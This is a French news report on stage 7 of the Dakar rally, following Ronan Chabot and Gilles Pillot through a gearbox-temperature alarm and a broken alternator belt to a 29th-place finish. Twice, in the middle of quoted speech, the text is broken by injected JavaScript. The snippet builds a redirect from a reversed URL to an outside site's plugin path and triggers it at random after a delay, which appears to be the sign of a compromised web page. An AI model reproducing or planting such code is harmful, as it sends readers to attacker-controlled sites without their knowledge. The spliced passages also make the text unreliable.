29 ème au général.
Étape 7 : Riyad – Al Dawadimi (700km, 401km de spéciale)


Victimes de problèmes mécaniques pendant la spéciale, Ronan et Gilles ont évité le pire mais n’ont pas pu batailler sur la piste comme ils aiment le faire. 29e de l’étape et du général, ils espèrent reprendre leur marche en avant dès demain.

Il y a des journées qu’on préfère oublier et le Dakar ne déroge pas à la règle. Ce dimanche en fait partie pour Ronan Chabot et Gilles Pillot, la faute à une succession de problèmes techniques qui ne les ont pas permis de s’exprimer pleinement. Ils pourraient s’étendre sur les aléas du sport mécanique, la faute à la malchance ou le sort qui s’acharne. Mais ce n’est pas vraiment leur tempérament. Ils préfèrent les faits, sans se cacher non plus derrière la vérité du moment, à l’issue des 402 km de spéciale à parcourir entre Ryad et Al Dawadimi. « Ce n’était pas une bonne journée », reconnaît Ronan.

« On n’a pas vraiment pris de plaisir »

Dès le départ, première alerte. « Les voyants qui signalent les températures de la boite de vitesse se sont allumés. Les températures n’étaient pas bonnes, on pensait à un problème de sonde. Ensuite, ça sentait le brûlé à trois reprises dans la voiture, il n’y avait plus de climatisation, l’alternateur s’est allumé… En fait, la courroie qui entraîne l’alternateur et la climatisation s’était cassés et avaient brûlé. Et celle qui entraîne la pompe à eau était en train de s’effilocher. Il était donc grand temps que ça s’arrête ».

Les ennuis mécaniques ont ceci d’agaçants qu’ils ne viennent jamais seuls. « On a aussi eu des problèmes à trouver deux ‘way points’ et surtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout, on n’arrivait pas à être dans la course ». Et il ajoute : « nous avons un peu subi cette spéciale et on n’a pas vraiment pris de plaisir aujourd’hui ». Certes, il y a la frustration de ne pas avoir pu se battre comme à l’accoutumée. Parti 15e, le duo a rétrogradé au 27e rang avant de terminer 29e de l’étape, la même position qu’ils occupent au classement général.

Et malgré la frustration, il y a aussi une pointe de soulagement. « Ça aurait pu être pire, atteste Gilles. Les voyants ont clignoté toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toute la journée, on aurait pu être bloqué dans la spéciale pendant longtemps ». Le copilote préfère se projeter déjà sur l’étape de demain entre Al Dawadimi et Wadi Ad Dawasir, 830 km dont 395 km de spéciale. « Il y aura 25% de dunes, de la terre, du sable, détaille Gilles. Demain, on ne sera plus dans la position des chassés mais des chasseurs. On va essayer de faire une bonne nuit et repartir du bon pied dès demain ». Pour eux aussi, une nouvelle semaine commence dès demain.